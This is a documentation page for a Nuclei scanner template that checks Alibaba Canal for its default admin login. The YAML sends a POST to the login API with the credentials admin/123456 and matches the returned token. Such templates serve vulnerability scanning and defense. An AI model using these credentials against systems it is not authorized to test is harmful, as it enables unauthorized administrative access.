Alibaba Canal Default Login
ID: canal-default-login
Severity: high
Author: pdteam
Tags: canal,alibaba,default-login
Description
Section titled “Description”An Alibaba Canal default login was discovered.
YAML Source
Section titled “YAML Source”id: canal-default-login
info: name: Alibaba Canal Default Login author: pdteam severity: high description: An Alibaba Canal default login was discovered. reference: - https://github.com/alibaba/canal/wiki/ClientAdapter classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 metadata: max-request: 1 tags: canal,alibaba,default-login
http: - raw: - | POST /api/v1/user/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"username":"{{user}}","password":"{{pass}}"}
attack: pitchfork payloads: user: - admin pass: - 123456
matchers-condition: and matchers: - type: status status: - 200
- type: word condition: and words: - 'data":{"token"' - '"code":20000'# digest: 490a004630440220098b53c41fff3d6ef52025087b0a8ed4447591f5505187c4fbc89dd422860ff602204c6a07bad0dedbf63c7342a68e7d127df780cf1eca6fd1cfda968807789f14e7:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/default-logins/alibaba/canal-default-login.yaml"